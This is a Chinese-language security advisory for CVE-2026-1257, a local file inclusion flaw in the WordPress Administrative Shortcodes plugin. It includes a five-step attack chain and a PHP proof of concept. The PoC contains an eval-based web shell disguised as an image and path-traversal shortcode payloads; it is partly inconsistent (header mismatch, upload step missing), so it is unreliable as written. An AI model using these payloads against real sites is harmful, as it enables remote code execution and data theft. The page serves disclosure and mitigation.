IPBUF安全漏洞报告
English
CVE-2026-1257 CVSS 7.5 高危

CVE-2026-1257 WordPress Administrative Shortcodes插件本地文件包含漏洞

披露日期: 2026-01-24

漏洞信息

漏洞编号
CVE-2026-1257
漏洞类型
本地文件包含(LFI)
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
WordPress Administrative Shortcodes插件

相关标签

本地文件包含远程代码执行WordPress插件CVE-2026-1257路径遍历get_template_part短代码漏洞高危漏洞

漏洞概述

CVE-2026-1257是WordPress平台下Administrative Shortcodes插件中的一个高危安全漏洞。该插件在0.3.4及以下所有版本中存在本地文件包含(Local File Inclusion)漏洞,根源在于'get_template'短代码的'slug'属性未对用户输入进行充分的路径验证。攻击者可利用get_template_part()函数的缺陷,绕过安全限制包含服务器上的任意文件。由于该漏洞允许包含任意PHP文件,攻击者可通过上传包含恶意代码的"安全"文件类型(如图片),然后利用LFI漏洞将其作为PHP代码执行,从而实现远程代码执行(RCE)、绕过访问控制或获取敏感数据。攻击者只需具备Contributor级别的账户权限即可发起攻击,无需用户交互,CVSS评分达到7.5分(高危)。该漏洞已被Wordfence安全团队发现并披露,建议用户立即升级到最新版本。

技术细节

该漏洞源于Administrative Shortcodes插件在处理'get_template'短代码时,直接将用户可控的'slug'参数传递给WordPress的get_template_part()函数,而未进行任何路径遍历过滤或输入验证。get_template_part()函数通常用于加载主题模板文件,但其设计允许包含任意路径的PHP文件。攻击者可以通过构造包含路径遍历字符(如../)的slug参数,突破预期目录限制,指向服务器上的任意文件。在实际攻击场景中,攻击者首先上传一个包含PHP代码的图像文件或其他"安全"文件类型的文件,然后利用该LFI漏洞将其作为PHP代码执行。由于WordPress允许Contributor及以上角色上传媒体文件,且get_template_part()会直接执行包含的PHP代码,这形成了一条完整的RCE攻击链。漏洞影响插件0.3.4及所有更早版本。

攻击链分析

STEP 1
步骤1
获取WordPress Contributor级别或更高权限的账户
STEP 2
步骤2
上传包含恶意PHP代码的文件(如图片文件),伪装绕过文件类型检查
STEP 3
步骤3
在文章或页面中构造包含路径遍历的get_template短代码,slug参数指向上传的恶意文件
STEP 4
步骤4
访问或预览包含恶意短代码的页面,触发get_template_part()函数包含并执行恶意文件
STEP 5
步骤5
成功执行任意PHP代码,实现远程代码执行(RCE),可进一步控制服务器或窃取数据

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<?php /** * CVE-2026-1257 PoC - Administrative Shortcodes LFI to RCE * Target: WordPress Administrative Shortcodes Plugin <= 0.3.4 * Author: Security Research * Note: This PoC demonstrates the vulnerability for authorized testing only */ // Step 1: Authentication required (Contributor role or higher) $target_url = 'http://target-wordpress-site.com'; $username = 'attacker_contributor'; $password = 'attacker_password'; // Step 2: Upload malicious file伪装成图片的PHP代码 $php_payload = '<?php phpinfo(); @eval($_POST["cmd"]); ?>'; $fake_image = "\x89PNG\r\n\x1a\n" . $php_payload; // GIF89a header + PHP code // Step 3: Exploit LFI via 'get_template' shortcode $exploit_data = array( 'slug' => '../../../wp-content/uploads/' . date('Y') . '/' . date('m') . '/malicious.png' ); // Example shortcode usage: // [get_template slug="../../../wp-content/uploads/2026/01/malicious.png"] // or via AJAX/Rest API $api_endpoint = $target_url . '/wp-json/administrative-shortcodes/v1/template'; $params = 'slug=../../../wp-content/uploads/' . date('Y') . '/' . date('m') . '/evil.png'; // Step 4: Include and execute the malicious file $final_payload = $target_url . '/?' . $params; // Alternative: Direct file inclusion via shortcode $shortcode_payload = '[get_template slug="../../../wp-content/uploads/malicious.png"]'; // Note: The vulnerability is in get_template_part() called by: // administrative-shortcodes.php line 144 // $template = get_template_part($atts['slug']); // No path validation or sanitization on $atts['slug'] ?>

影响范围

Administrative Shortcodes插件 < 0.3.5

防御指南

临时缓解措施
在官方补丁发布前,可采取以下临时缓解措施:1) 限制 Contributor 角色的文件上传功能;2) 在Web应用防火墙(WAF)规则中阻止包含路径遍历字符的请求;3) 禁用或移除Administrative Shortcodes插件;4) 加强对上传文件内容的深度检查,不仅验证文件扩展名,还要检查文件内容;5) 实施严格的文件访问权限控制,确保上传目录无法执行PHP文件。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表